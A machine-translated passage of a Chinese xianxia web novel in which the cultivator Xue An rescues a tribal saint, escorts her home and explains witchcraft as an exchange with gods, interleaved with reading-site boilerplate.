    As he raised his eyes, the black brilliance that had rushed to the front ignited a raging flame.


    And these flames meander upwards at an extremely fast speed, and instantly trace back to the staff in the hands of the skeleton priest.


    boom!


    With a crisp sound, countless cracks appeared on this staff.


    "No!" The skeleton priest screamed, then resolutely bit his tongue and sprayed it against the staff, trying to delay its collapse.


    But it was too late, I saw these cracks burst into pieces, and then countless black mists rushed out of them.


    The black mist was mixed with the wailing and crying of countless dead souls, and it rushed toward the priest fiercely.


    The skeleton priest was shocked, and it was impossible to escape.


    I saw these black mists penetrate into his facial features, and then the extremely thin body of the priest began to grow rapidly.


    In the blink of an eye, he swelled at least several times, his skin creaked and tightened, and at the same time he groaned extremely painfully.


    "Do not��."


    Before this word was finished, his body burst out like a balloon.


    Bang!


    The blood was splattered and the stench was unpleasant.


    In the blink of an eye, the skeleton priest who had just flaunted his might became bloody.


    The young man who did it did not get up during the whole process.


    The court fell silent.


    Jixiongwula stepped back with a solemn expression, staring at the inn.


    now.


    The walls of the inn have long been riddled with holes, and Xue An sitting at the table can be clearly seen through those holes.


    I saw him holding a wine glass, still pouring himself, his face calmly as if the skeleton priest''s blew up just now had nothing to do with him.


    However, there was a chill in Jixiongwula''s heart for no reason.


    Because he couldn''t understand the details of the young man in white clothes.


    From the burning of those ghosts to the explosion of the skeleton priest, the young man didn''t make much effort in the whole process.


    But the more so, the more chill in his heart.


    After a while, he resisted the panic in his heart, took a deep breath, and slowly said, "My lord, I have waited too long. I may have offended a lot just now, but the offending person has now been given the lead. Can you let it go? I''ll wait for a while?"


    Xue An did not say a word, but focused on dealing with the wine glass in his hand.


    Seeing this, Shixiongwula''s heart trembled, but he bit his head and said.


    "This lord, I am a member of the Jixiongwu tribe, and this woman is a member of the Mengzhu tribe. This is an internal matter of our Jingman clan. I hope you can raise your hand and allow me to take her away. There will be some in the future. repay!"


    Xue An still didn''t say a word.


    He did not speak, and Yue Qinghuan would naturally not take the initiative to speak.


    So the whole inn was quiet.


    Jixiong Wula didn''t know what Xue An meant, but he still resisted the fear in his heart and threw a fist toward Xue An.


    "Thank you!"


    With that said, he took a step towards Mengzhu Nasha.


    A look of despair appeared in Mengzhu Nasha''s eyes.


    Unexpectedly, in the end, it would be difficult for me to escape this ending!


    But just when Shiongwula had already approached Mengzhu Nasha and raised his hand to catch her.


    A wisp of imperceptible sword light suddenly passed, and directly passed through the palm of this Xiongwu La''s hand, so powerful that it even took him to fly and directly nailed him to the distant wall.


    Boom!


    The whole inn was shaking.


    Then Shiongwula let out a terrible cry of pain.


    "Sword repair! You are Human Sword repair!"


    He screamed, and then struggling with his arm, trying to free his palm from the sword light nailed to the wall.


    But this sword light is so strong that it won''t help him no matter how hard he struggles.


    At this moment, Xue An slowly raised his head and smiled at Mengzhu Nasha.


    "Would you like to have a drink to go to the cold later?"


    Seeing Xue An''s smile, Meng Zhu Nasha felt that she was loose, and the shackles that trapped her before disappeared.


    Then she looked at Xue An in dismay, and finally nodded.


    "it is good!"


    At this moment, Na Shi Xiongwu La was cruel, and with his other hand, he chopped off his arm with his wrist.


    Then he turned and fled desperately.


    He knew very well that judging from the strength displayed by this white-clothed boy, he would never be his opponent.


    For the sake of life, it is natural to run as fast as possible.


    But he forgot one thing, no matter how fast his speed is, it is impossible to exceed the speed of the sword.


    In fact, he only ran a few dozen steps away, and a strand of sword light came first, passing directly through his heart.


    puff!


    Blood splattered, and then this Xiongwula fell to the ground, trembling all over.


    Beneath his skin, there are countless drum kits wandering fast, as if something is about to break out of his body.


    In the next instant, these drum bags finally broke through the skin, and then countless poisonous insects emerged from it.


    These venomous insects started to gnaw at the flesh and blood of Shiongwula.


    In the blink of an eye, this Xiongwu La was eaten clean.


    After all this was done, these poisonous insects bowed to Xue An''s side, then turned into fly ash and disappeared.


    So far.


    The group of people who had just survived, all died.


    Mengzhunasha stood there blankly, her eyes full of confusion,


    God knows how hard she has put in to avoid the pursuit and killing of Ruxiongwula and the skeleton priest during this period of time.


    Even she was ready to die.


    But I never expected that this seemingly invincible group of people, in the hands of this white-clothed young man, looked like a chicken and dog, and could not withstand a single blow.


    Gradually, Mengzhu Nasha''s eyes on Xue An became brighter.


    Xue An smiled slightly and nodded to the wine glass opposite.


    Mengzhu Nasha walked closer, picked up the glass in front of him and drank it all in one fell swoop. UU reading www. uukanshu.com


    Mengzhu Nasha couldn''t help murmuring because of the warmth that the wine entered.


    She didn''t know how long she hadn''t had a sip of hot wine.


    The moment this wine made her cheeks flushed.


    Then she put down the wine glass and gave a solemn salute to Xue An.


    "The seventy-ninth sage of the Mengzhu tribe of the Jingman tribe, Mengzhunasha Boketong, thank you for his life-saving grace, and dare to ask his honorific name!"


    Xue An smiled, "My name is Xue An, you don''t have to call me an adult, just call me Mr. Xue!"


    As he said, he looked at the people and others who had turned into blood and water, and said lightly.


    "Since you are all of the Jingman clan, why are they hunting you down?"


    Mengzhu Naza''s face showed a resolute color, "Because our Mengzhu tribe refuses to succumb to their lustful power! At the same time, they also want to obtain the holy artifacts left by the Moon Mother, so they will do this! "


    Although this Mengzhu Nasha is a saint, she is obviously not very old, and at the same time she has a kind of frankness that is unique to a girl of the Jingman clan.


    In her opinion, Xue An is her savior, so naturally there is nothing to hide.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2462 Jingman Clan), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2463： 3 showman

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    It turns out that although the Ruxiongwu tribe and the Mengzhu tribe belong to the Jingman tribe, they believe in different gods.


    The Shixiongwu tribe believes in Sanxian Langjun, which in a strict sense belongs to the likes of Yingui.


    The Mengzhu tribe believes in Shouna, the righteous **** of the Jingchu clan.


    These two gods are not the same in terms of status and power.


    The Mengzhu tribe is second to none in the Jingchu clan, and its strength is very powerful.


    Although Shiongo is also good, it is much worse than that of the Mengzhu tribe.


    For this reason, the previous Jixiongwu tribes acted very low-key and humble. Everywhere they claimed to be affiliated with the Mengzhu tribe.


    As time goes by, the Mengzhu tribe has also taken good care of this Jiongwu who took the initiative to take the initiative to take the initiative.


    The relationship between the two parties can be described as very harmonious and harmonious.


    This time, Mengzhu Nasha, the saint of the Mengzhu tribe, went to the territories of the Ruxiongwu tribe to participate in their celebration of the birth of Sanxian Langjun.


    This was originally a very ordinary thing, but never expected that this seemingly ordinary celebration suddenly changed.


    The people of the Jixiongwu tribe who had originally laughed at Yan Yan suddenly violently attacked them, and directly attacked Mengzhu Nasha and his party.


    Because they were unprepared and caught off guard, the maids and guards who followed Mengzhu Nasha were brutally murdered almost without resistance.


    Fortunately, Mengzhu Nasha, as a saint, has the guardian power of the Moon Mother, and resisted a fatal blow for her.


    But even so, she was seriously injured by the combined blows of many masters from the Hyongwu tribe, and then she ran out of the land and ran into the vast mountains with her injured body.


    However, the people of the Ruxiongwu tribe were obviously bound to win her, and they immediately dispatched the masters such as Ruxiongwula and the skeleton priest to hunt down.


    Along the way, Mengzhu Nasha was besieged several times, and all escaped under the guardianship of the Moon Mother.


    But she discovered a frightening fact from it.


    That is, the guardian power of the Moon Mother is actually gradually weakening.


    This is an unprecedented situation. Although Mengzhu Nasha is a saint, she is not too old after all, and she was stunned by this discovery.


    But this is the end of the matter, no matter how desperate she is, she knows that she will never fall into the hands of the Shiongwu tribe.


    She must find ways to return to the Mengzhu tribe and report the rebellion of the Shiongwu tribe.


    With this idea in mind, Mengzhu Nasha embarked on an arduous escape.


    When I came to this inn today, it was already the eighth day of her escape.


    During these eight days, Mengzhu Nasha hadn''t even entered, and the whole person had already been overdrawn by this high-intensity escape.


    And the gods she believed in were silent as never before.


    There was no response to all her prayers.


    In desperation, Mengzhu Nasha had no choice but to fight dangerously, ran out of the mountain, and came to the road to find supplies.


    Because as an aboriginal of this vast mountain, she knows that on both sides of the mountain road, there are often inns dedicated to the corpse chasing people to rest and make tips.


    This corpse clan is an extremely weird clan, and it has some origins with the Jingchu clan, but their origins and beliefs are more mysterious, and they go out day and night, and outsiders rarely see their true faces.


    But Mengzhu Nasha is different. As a saint of the Mengzhu tribe, she has a wide range of knowledge, and she even has a set of bronze corpses handed down from the ancestors of the Mengzhu tribe.


    This is her last means of life-saving.


    With the idea of ??dying the fish and breaking the net, Meng Zhu Nasha ventured into this inn and wanted to eat something to regain her strength. Then she ran into Xue An by chance. This was what happened just now.


    Xue An''s eyes lit up after listening to Mengzhu Nasha''s narration.


    "Sanxian Langjun? Do you know what **** this is?"


    Mengzhu Nasha shook her head, "This Sanxian Langjun belongs to a ghost, and in my Jingman clan��s beliefs, he is a completely innocent existence. Not only is his divine power very low, but he also heard that this **** has a cruel and vicious temperament. You must compare the baht. But I don��t know where he came from!"


    "Oh! With that said, this Sanxian Langjun should have been a very humble little **** before?"


    "Well! At least relative to our mother **** Moon Shouna, that''s the case!"


    Xue An thoughtfully, then chuckled lightly.


    "You said before that they came for the holy artifact of the Moon Mother God you believe in?"


    "Yes!"


    Mengzhu Nasha lowered her head, and after reaching her neck with her hands, she took off a necklace.


    "Mr. Xue, this is the holy artifact of our Mengzhu tribe!"


    With that said, Mengzhu Nasha stretched out her hand and handed it over, her eyes full of sincere expression, without any concealment.


    Xue An smiled.


    This girl is really straightforward and cute.


    He took the necklace in his hand and examined it carefully.


    This is a very ordinary-looking necklace. A crescent-shaped gem is hung on the necklace, exuding a shining luster.


    Just somehow, this gem always gives people a bleak feeling, as if the energy in it has been exhausted.


    Xue An rubbed it for a moment, then nodded, and handed back the necklace.


    "What are you going to do next?"


    "Naturally, I have to return to the tribe first, because I''m afraid that the people in the tribe don''t know about Shiyonggo''s rebellion. If they are allowed to succeed in their trickery again, it would be terrible!"


    Speaking of this, Mengzhu Nasha looked anxious, wishing to fly back into the tribe with wings.


    Xue An nodded, "Okay, then I will send you back now!"


    Meng Zhu Nasha was taken aback, and she was overjoyed and said: "That would be great, thank you Mr. Xue!"


    In fact, she was also worried that she would run into the people of the Ruoyongwu tribe who were hunting down on the way back. UU reading www.uukanshu. com


    Now Xue An wants to send her back, so it''s safe.


    "It''s not too late, we will leave now!"


    With that, Xue An stood up and dropped a piece of spiritual stone on the table.


    "You can''t eat other people''s things for nothing, this piece of spiritual stone lunch is a meal expense!"


    Then Xue An looked at Mengzhu Nasha, "Which direction is your tribe?"


    Mengzhu Nasha pointed to the southwest direction, "It''s in this direction, and it''s about as far away as ten big mountains."


    "Okay! You pack these things of yours, and then we go!"


    The golden armor and bronze corpses that Mengzhu Nasha brought have all been damaged to varying degrees in the battle just now, but fortunately the problem is not too big, and it should be able to be used for repairs.


    Mengzhu Nasha immediately stepped forward to store these golden armored bronze corpses with tribal secret techniques.


    While taking advantage of this gap, Yue Qinghuan asked in a weird low voice: "What are you going to do? Aren''t you going to travel through this witch-gu land to the Yin Yang family? Why did you manage the Jingman clan again? You know this Jing The Barbarians are not that easy to mess with!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2463 Sanxian Langjun Yuemu Shouna), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2464： Mongolian Bamboo Tribe

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Yue Qinghuan was indeed a little strange.


    As a descendant of the military family, she has also heard about this Jingman clan.


    Knowing that they are the masters of this land of Witch Gu, although their temperaments are pure and straightforward, there are no shortage of cruel people.


    In particular, they believe in all kinds of gods hidden in this endless mountain, and they are also good at all kinds of witchcraft and witchcraft, which adds a layer of mystery to them.


    Not as a last resort, generally no one wants to provoke these Jingman tribesmen.


    The provocation here not only refers to hatred, but also includes kindness.


    Because these Jingman tribes often have extreme personalities, no matter whether they have grudges or gratitudes, they will leave endless troubles.


    That''s why Yue Qinghuan has this question.


    "Since I have encountered it, I have to take care of it. As for going to Yin Yang''s house... it is not in a hurry!" Xue An said lightly.


    Yue Qinghuan was taken aback, suddenly thought of something, looked back at Monzhu Nasha who was busy in the distance, and then thought thoughtfully.


    "You don''t think that the little girl is beautiful, so do you have other ideas? I can tell you that women from the Jingman clan, especially beautiful girls, are the least to provoke."


    "Because these women tend to keep all kinds of strange worms, and if they are not careful, they will be caught by their methods. By then, even if you are a saint, you will probably have to drink a pot. You don''t want to wake up and find yourself all over. It''s overgrown with bugs!"


    Yue Qinghuan said seriously, with a hint of joking in his eyes.


    Xue An simply laughed dumbfounded.


    "Am I the kind of person who covets beauty in your eyes?"


    Yue Qinghuan just wanted to say yes, but he swallowed it when he reached his mouth.


    Because she suddenly felt that it was a bit wrong to describe Xue An with the words coveting beauty.


    Because I have been silently liking this guy!


    With his appearance, he is no less inferior than that of Mengzhu Nasha, and even worse than that, and his love is deeply rooted, and it is difficult to extricate himself.


    But even so, Xue An is still unmoved, like a straight man of steel, close to the surface, but actually rejects himself thousands of miles away.


    Such a person really cannot be described as coveting beauty.


    But she still curled her lips, "Who knows, maybe you are a good one, but don''t blame me for not reminding you, these Jingman women are the most infatuated, but once they are emotional, they are extremely difficult to get rid of, and if you dare The beginning of chaos and the end of abandonment, even if they chase to the horizon, they will not let you go!"


    Xue An couldn''t laugh or cry.


    Why is it that in Yue Qinghuan''s words, he really seems to have become the scumbag who has always been in chaos and abandoned?


    At this moment, Mengzhu Nasha finished cleaning up the golden armor and bronze corpses, and came back and said: "Mr. Xue, I am ready, shall I go now?"


    "it is good!"


    Xue An nodded, and then raised his hand, a ray of sword light pierced.


    Mengzhu Nasha was taken aback, but didn''t even dodge, letting the sword light fly into the center of her eyebrows.


    In the next instant, Mengzhu Nasha felt that her body was light, and she flew directly into the sky.


    "Let''s go, you will lead the way!" Xue An said lightly.


    "Ok!"


    Mengzhu Nasha was so excited that she urged her figure to fly in the sky.


    With the help of Xue An''s sword light, her speed is really like a gallop, but the scene of the tea leaps over the dozens of mountains, and then suddenly she sees a plain surrounded by mountains.


    There are many buildings built on the plain, which is like a prosperous city.


    It''s just that the buildings of this city are all wooden, even the walls are the same.


    Mengzhu Nasha pointed forward and said excitedly: "Mr. Xue, this is our Mengzhu tribe. Thank goodness, it seems that the people from the Ruxiongwu tribe have not had time to start here!"


    With that, she flew down to the ground and walked quickly to the gate of the city.


    At this moment, the city gate is tightly closed.


    But there are guards on the walls.


    They also saw the three flying in the sky, and couldn''t help raising their vigilance.


    But before they could react, Mengzhu Nasha had fallen in front of the city gate, shouting loudly: "I''m back, open the city gate!"


    When they saw Mengzhu Nasha, these guards were first surprised, and then overjoyed.


    "It''s a saint!"


    "The saint is back!"


    "Thank you Moon Mother for your blessing, Saintess is really fine!"


    In the noise, someone flew into the town to report, while the other guards rushed down the city wall and opened the city gate from inside.


    "Holy Woman!"


    "I have seen the saint!"


    Mengzhu Nasha nodded in a respectful greeting.


    "What''s going on? Why did you close the city gate during the day? And the priests and others?"


    "The priest and the elders of the patriarch are all in the temple. It is also the meaning of the priest to close the city gate!"


    "Oh!" Mengzhu Nasha nodded, then turned around and said to Xue An.


    "Mr. Xue, the priests and them are all in the temple, please come with me! You saved me, and the Mengzhu tribe will naturally repay you!"


    Mengzhu Nasha said very seriously.


    Xue An smiled, "You don''t need to repay, but I want to take a look at your temple!"


    "Okay, please come with me!"


    Mengzhu Nasha led Xue An and Yue Qinghuan through the city gate, towards the temple in the middle of the town.


    The guards behind him looked at each other.


    "Who is that man and woman just now?"


    "I don''t know, it looks like it''s not from the Jingman clan!"


    "Well, I don''t think it looks like it, but the Saintess seems to be very polite to them. What else did she say to save her? What''s the matter?"


    "Could it be the man the Saintess likes!"


    As soon as these words came out, these guards all shut up.


    After a while, someone forced a smile and said, "What nonsense, if this is heard by the military commander we will suffer!"


    The guards quickly dispersed.


    And here, Mengzhu Nasha has led Xue An and two through the street, before coming to the temple.


    Said it is a temple, it is actually a relatively tall house.


    A wooden pole was erected on the top of the house, and a crescent-shaped stone was hung on the wooden pole.


    At this time, the news from the city gate had reached the temple, and the gate of the temple opened slowly as soon as Meng Zhu Nasha and Xue An arrived at the door.


    Then a group of people walked out from inside.


    This group of people wears everything and their auras are different, but the leader is a middle-aged woman with a majestic demeanor and a compassionate face. She also holds a crescent-shaped scepter in her hand.


    And beside the middle-aged woman, there is a young woman who is wearing a navy blue dress, describing her beauty as beautiful, but with an extraordinary momentum.


    After seeing these two people, Mengzhu Nasha immediately leaned over to salute.


    "I have seen priests and patriarchs!"


    The middle-aged woman stepped forward, helped Mengzhu Nasha, and then looked at it for a moment before she let out a sigh of relief.


    "Mother Moon God bless you, bless you safe and sound, and return safely!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2464 Mengzhu Tribe), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2465： The difference between witchcraft and practice

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This middle-aged woman is the patriarch of the Mengzhu tribe, named Mengzhu Feifeng.


    And the young woman with extraordinary momentum standing by the side was the high priest of the Mengzhu tribe, Meng Zhumei.


    Those who followed are naturally the many elders of the Mengzhu tribe, and most of these people are women, with only a few men, and all those in high positions are women.


    It can be seen that the Mengzhu tribe is a tribe respecting women.


    interesting!


    Xue An raised his eyebrows slightly, thinking silently in his heart.


    At this time, the high priest Meng Zhumei had also noticed Xue An and Yue Qinghuan.


    In her eyes, although the white-clothed youth standing in front was simply standing there, his aura was as deep and unpredictable as a bottomless abyss.


    Even she couldn''t help being surprised secretly.


    "These two are..." Meng Zhumei couldn''t help asking aloud.


    "Oh, I forgot to introduce it to you. This is Mr. Xue, the benefactor who rescued me from the people of the Ruxiongwu tribe!"


    "It turns out that it was the benefactor who saved the saint. The Mengzhu Ministry is grateful!" Mengzhu Feifeng immediately bowed his hand.


    Xue An smiled faintly, "You''re welcome, it''s just passing by by chance and doing it easily, it''s nothing!"


    Meng Zhumei did not speak, but stared at Xue An deeply, as if he wanted to see something from under the calm appearance of this young man.


    At the same time, Mengzhu Nasha gave a brief account of the passage, and then said with a serious face.


    "Patriarch, high priest, there must be a reason for the sudden rebellion of the Jixiongwu tribe. We must take precautions and should not take it lightly."


    Patriarch Meng Zhu Feifeng nodded.


    "This is natural. In fact, we have received news of Shiyougo''s rebellion a few days ago. After this tribe failed to ambush you, it attacked again and destroyed several small tribes. Big casualties."


    "Yes!" Meng Zhumei retracted his gaze to stare at Xue An, took a deep breath, and said slowly.


    "When I got the news, I ordered all the people who went out to return, and closed the city gates to strengthen prevention. At the same time, I sent the commander Meng Zhuxiong and others to look for you! I did not expect you to return safely. Thank you Yue Yue Mother **** bless!"


    When hearing the three words Mengzhuxiong, a strange color flashed in Mengzhunasha''s eyes.


    There is gratitude, but more is alienation.


    This expression was fleeting, and others didn''t notice it at all, but Xue An keenly caught it.


    "Well, no matter what, it is a great happy event for Nasha to return safely. Pass the Gu order to Meng Zhuxiong to stop searching and bring people back quickly!"


    "Yes!" Someone led away.


    Then Mengzhu Nasha spoke a few more words to the patriarch and high priest, and walked up to Xue An.


    "Mr. Xue, I want to retire first, and someone will take you down to rest, and I will look for you in the evening!"


    Xue An smiled faintly, "Don''t worry about me, please do it yourself!"


    Meng Zhu Nasha gave another deep salute before turning around and leaving with Meng Zhu Feifeng and the high priest Meng Zhumei.


    Looking at the back of the three of them, Xue An thoughtfully.


    "Is people still watching after they walk away?" Yue Qinghuan couldn''t help but said in a joking tone.


    Xue An narrowed his gaze, then turned his eyes to look at Yue Qinghuan.


    "What? Did I say something wrong? It seems that the saint of the Jingman clan is really good to you, and she has to come back before she leaves!" Yue Qinghuan said with a curled mouth.


    Seeing Yue Qinghuan who was awkward, Xue An suddenly raised the corner of his mouth and smiled.


    "Does this have anything to do with you?"


    A word choked Yue Qinghuan speechless.


    At this moment, people from the Mengzhu tribe stepped forward.


    "Two distinguished guests, please follow me!"


    Xue An nodded and walked away.


    Yue Qing stomped his feet in hatred, and then followed him as if discouraged, and cursed in a low voice at the same time.


    "Asshole! I don''t believe that your wife will not be angry when she sees you in the sea of ??knowledge!"


    As the distinguished guest who saved the saint, this Mengzhu tribe naturally did not dare to neglect.


    Spacious and bright rooms, brand-new bedding, and various rare wild fruits exuding a faint fragrance.


    These details alone show that the Mengzhu tribe has given them extremely high courtesy.


    Xue An was not welcome, and directly sat on the chair, then picked up a Lingxinguo and ate it comfortably.


    Yue Qinghuan did not eat, but sat across the table and looked at Xue An quietly.


    "Why do you see me?"


    While talking, Xue An dropped the leftover fruit pit in his hand, and then the pit quickly took root and sprouted on the ground beside the table, and it grew into a spiritual heart fruit tree in the blink of an eye.


    The fruit tree swayed and stretched out a branch toward Xue An, and a strange flower bloomed slowly at the top of the branch, and then quickly withered, and it came to fruition.


    In the blink of an eye, a Lingxin Fruit fell in front of Xue An again.


    The fruit tree quickly withered, and then disappeared without a trace.


    Yue Qinghuan raised his eyebrows slightly, "What''s this? Is it a trick?"


    Xue An chuckled, "Of course not, it''s just a little witchcraft!"


    "witchcraft?"


    Yue Qinghuan was a little stunned, then picked up the Lingxinguo on the table and took a bite.


    "Bah, baah, what is this? Why is it so unpalatable?"


    Yue Qinghuan spit out a mouthful of scum with a bitter face.


    Xue An laughed, "I told you this is witchcraft, why don''t you believe it?"


    Yue Qinghuan suddenly looked at Xue An thoughtfully.


    "Why did you suddenly learn witchcraft?"


    "It''s actually very simple. The so-called witchcraft is nothing more than four words!"


    "Which four words?"


    "Equivalent exchange!" Xue An said lightly Equivalent exchange? "


    "Yes! Unlike cultivation, witchcraft does not require you to have a high level of talent or accumulation of cultivation skills, because it relies on some means to exchange, so as to achieve your goal!"


    Yue Qinghuan looked blank.


    Xue An took another piece of fruit and ate it, and said as he ate it.


    "To put it bluntly, cultivation is like building a house by yourself, everything is done by yourself, while witchcraft is to spend money to hire people to build a house. You can achieve the same goal without doing it yourself, but what you pay is money!"


    Yue Qinghuan finally understood, but still couldn''t help asking: "Since it is an equivalent exchange? How do you exchange it, and who do you exchange with?"


    "Good question!"


    Xue An threw away the leftover fruit core again, but this time the core did not grow into a fruit tree, but turned into a vigorous and vigorous villain. He whispered around the table and greeted Xue An. After a bow, he turned the window and ran away.


    Yue Qinghuan''s face was dull.


    With the two hands that Xue An just exposed, she can naturally do it, nothing more than a clever use of aura.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2465 Differences in Witchcraft and Practice), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2466： I am a god

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    But the point is that Yue Qinghuan didn''t feel any aura fluctuations from Xue An, as if he did it at his fingertips.


    This is incredible.


    Xue An smiled faintly, "Did you see it? That''s just a way of using witchcraft. What you just asked is also the most critical part of the entire witchcraft system. It''s like hiring someone to build a house. Although it''s easy, where does the money come from? Coming?"


    "Yes! Where does the money come from?" Yue Qinghuan whispered.


    "It''s very simple, everything comes from faith!"


    Xue An stood up and walked to the window, looking at the darkening sky outside, and said lightly: "The so-called faith is the material! Witchcraft is the towering building built on this cornerstone."


    "Now your next problem will be easily solved! Equivalent exchange is a means of exchanging with the gods you believe in after you have accumulated enough resources through faith!"


    "God?"


    "Yes, but it''s not limited to gods, it can also be heaven and earth, mountains and rivers, big trees and boulders, everything!" Xue An said slowly.


    Yue Qinghuan was shocked, because she didn''t know why Xue An suddenly said this, but a thought suddenly came up in her mind that made her blurt out.


    "Then what do you believe in?"


    She did not believe that Xue An, who had already proclaimed a saint, would still believe in the so-called god.


    But what Xue An just showed is clearly the category of witchcraft.


    Xue An smiled slightly, turned his head and glanced at Yue Qinghuan.


    "What do you think?"


    Yue Qinghuan was shocked, as if thinking of something, his pupils shrank suddenly.


    Noting her shocked face, Xue An smiled, "Yes, what I believe in is myself!"


    Speaking of this, Xue An looked out the window again and said lightly.


    "The so-called I am a god, the world and everything, what can be comparable to my own strength? This is the source of my faith."


    "God!" Yue Qinghuan couldn''t help but exclaimed in a low voice: "Is it possible to do this? Isn''t this the same as..."


    "It''s the same as the card bug, right?" Xue An smiled.


    Of course Yue Qinghuan didn''t know what a card bug was, but Xue An could also hear his meaning in his tone, so he nodded.


    "In fact, for the entire witchcraft system, I am also an absolute exception, because my method cannot be copied by others at all, even if there is another saint!"


    Xue An''s words are full of strong self-confidence.


    "To put it bluntly, most people can only obtain what they want by believing in gods, accumulating resources, and then trading with gods at equal value. This is the root of witchcraft, and it is also the reason why it gradually declines. "


    Naturally, Yue Qinghuan knew that in the very ancient times, witchcraft prevailed in the world, and the path of cultivation was just a trail that was just born, and the two were totally different from each other.


    But after tens of thousands of years, cultivation has occupied the absolute mainstream, but the once overlord witchcraft has declined to the extreme, and it can only retreat to this small land of witchcraft and linger.


    "Because the root of witchcraft comes from the gods, so it is also destined that its upper limit depends entirely on the strength of the gods you believe in. If the gods you believe in are strong, then you will rise and the boat will rise, the strength will be strong, and vice versa! The Xiongwu tribe is an example."


    Yue Qinghuan''s eyes suddenly lit up, "You mean... the sudden rebellion of the Jixiongwu tribe may be related to the gods they believe in?"


    "It''s not possible, but absolute! The so-called Sanxian Langjun, you know that it is the kind of innocent ghost, if its strength has not skyrocketed, how can its followers risk the world''s disgrace and rebel?"


    Yue Qinghuan let out a long cry, "That''s why you decided to save the saint of the Mengzhu tribe and come back to investigate the cause?"


    Xue An smiled, "That was only one aspect. Even if there was no such reason, I couldn''t die without saving!"


    Looking at Xue An with a smile on his face, Yue Qinghuan''s face suddenly showed shame.


    It turned out that he had inferred from the beginning that there must be a hidden secret behind this incident!


    Although he was regarded as a genius among the younger generation of military strategists, he was still far behind his meticulousness and agility.


    At the same time, I actually misunderstood him, even thinking that he came because of **** for beauty, and even said a lot of angry words, which made Yue Qinghuan feel a little embarrassed.


    "Xue An, I''m sorry! I..." Yue Qing said happily.


    Xue An just smiled and waved his hand, "Okay, don''t say sorry, I just told you the whole story in advance, and I didn''t blame you!"


    "Then what do I need to do?" Yue Qinghuan said solemnly.


    "You don''t need anything, it''s nothing more than a Sanxian Langjun like a ghost, no matter how strong the strength is, it''s just a matter of my finger!"


    "What I am interested in is the reason behind its soaring strength!"


    Looking at Xue An, whose eyes flickered, Yue Qinghuan wanted to say something, and finally closed his mouth again.


    Because for her kind of arrogant girl.


    It is very hurtful that IQ is not as good as that of human beings.


    Even if this person is the man she admires.


    So she was afraid that she would be more uncomfortable by Xue An if she stayed here, so she closed her mouth wisely and got up and went back to her room.


    When she left, Xue stood quietly in front of the window without speaking.


    Suddenly, the wild fruits on the table seemed to have been smeared into nothingness by some unfathomable rule.


    When it appeared again, it had already come to Xue An''s hand.


    Xue An picked up one, UU read www.uukanshu. com began to chew.


    But no matter how he swallowed, the spirit fruit didn''t decrease at all.


    After a long time, Xue An seemed to be full, and suddenly chuckled.


    "I really don''t know what the **** is holding you up, and even making you respond flawlessly to the prayers of the believers. Could it be that something has happened to the gods of the Jingchu family?"


    As he said, Xue An ate the spirit fruit in his hand, but his eyes penetrated the completely dark night, looking at the lonely temple in the distance.


    Although I don''t know the reason, Xue An faintly felt that these things that happened to the Jingchu clan must be related to evil things.


    "It''s really pervasive!" Xue Anyou sighed, but his eyes were full of excitement.


    As soon as night fell, the entire Mengzhu tribe town fell into a sea of ??joy.


    Countless torches illuminate the town like daylight.


    Everyone put on their costumes and sang and danced on the street with smiles to celebrate the safe return of their saint.


    At this moment, Meng Zhu Nasha was wearing the most grand costume of a girl from the Jingchu clan, and knocked on Xue An''s door shyly.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2466 I am a god), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2467： Campfire

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    After seeing Mengzhu Nasha in full dress, even Xue An couldn''t help being in a trance for a moment.


    There is no other reason, it is that the dress Monzhu Nasha wore was too gorgeous.


    This is a new long dress with a tufted navy blue base, with countless silver orbs inlaid on it, which is almost unbelievably gorgeous.


    At the same time, her wrists, ankles, and all exposed skin were covered by various jewelry made of fine silver.


    But the most striking thing is the silver crown on her head.


    The beauty and complexity of its shapes have reached the limit of skill.


    And under the silver pendant, there is a shy smile, beautiful cheeks.


    Changing this outfit to anyone else would look very flamboyant.


    Only after wearing it on the body of the sage of the Mengzhu tribe, Mengzhunasha, it seemed so natural and harmonious.
